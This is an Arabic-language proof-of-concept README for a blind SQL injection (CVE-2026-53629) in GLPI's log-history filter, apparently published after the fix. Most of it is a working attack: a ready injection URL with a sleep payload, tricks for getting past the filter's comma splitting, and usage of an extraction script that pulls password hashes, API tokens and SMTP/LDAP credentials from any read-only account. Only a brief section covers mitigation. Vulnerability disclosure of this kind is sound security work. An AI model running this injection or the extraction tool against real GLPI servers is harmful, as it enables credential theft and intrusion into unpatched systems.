
PoC لـ CVE-2026-53629، حقن SQL أعمى في مرشح سجل التاريخ في GLPI
حقن SQL أعمى في مرشّح سجل التاريخ في GLPI. CVE-2026-53629، تم إصلاحها في 11.0.8 و10.0.26، وكانت الثغرة موجودة منذ 9.4.0.
يتطلب أي حساب لديه حق READ على logs. ملف التعريف الافتراضي Read-Only يمتلك هذا الحق.
الإشعار: GHSA-cpcj-x335-5cmh الشرح: كيف وجدتها
Log::convertFiltersValuesToSqlCriteria() تقسّم مرشّح affected_fields إلى key:operator:values. التصحيح الخاص بـ CVE-2026-29047 تحقق من العامل وحوّل نوع فهرس المصفوفة، وترك $key دون تغيير.
DBmysqlIterator::analyseCrit() لا يضع علامات اقتباس حول OR وAND وNOT كأسماء أعمدة. بل يتنقل بشكل تكراري داخل قيمها، وينتهي ذلك التكرار عند فرع مهمل يعيد السلاسل النصية العادية كاستعلام SQL خام.
لذا، استخدام OR كمفتاح يُدخل ما تريد في جملة WHERE:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
تبويب التاريخ يفعل الشيء نفسه عبر filters[affected_fields][0].
explode(',', $values) يكسر أي شيء يحتوي على فاصلة، لذا فإن SUBSTRING(s,1,1) وIF(a,b,c) غير صالحين. بينما CASE WHEN ... THEN ... ELSE ... END وMID(s FROM n FOR 1) يؤديان المطلوب. القيم السداسية العشرية بدلاً من علامات الاقتباس، فالقيمة 0x676c7069 هي glpi.
تُنفَّذ الحمولة مرة واحدة لكل صف في glpi_logs، لذا يتضاعف زمن sleep. ستة صفوف مع sleep(5) تعني 30 ثانية. على خادم حقيقي اخفضها إلى 0.1 وإلا لن يعود الطلب أبدًا.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
يقرأ glpi_users.password حرفًا واحدًا في كل مرة عبر البحث الثنائي. استخدم --id لمستخدم آخر، و--sleep و--threshold للأهداف الأبطأ.
نفس الحيلة تقرأ api_token وpersonal_token وبيانات اعتماد SMTP وLDAP في glpi_configs.
قم بالترقية. إذا لم تستطع، فقم بإزالة حق READ لسجلات logs من ملفات التعريف التي لا تحتاج إليه. أدرج المشروع الأم (upstream) المفتاح في القائمة المسموح بها:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
نُشرت الأداة بعد صدور الإصلاح. لا تشغّلها على أشياء ليست ملكك.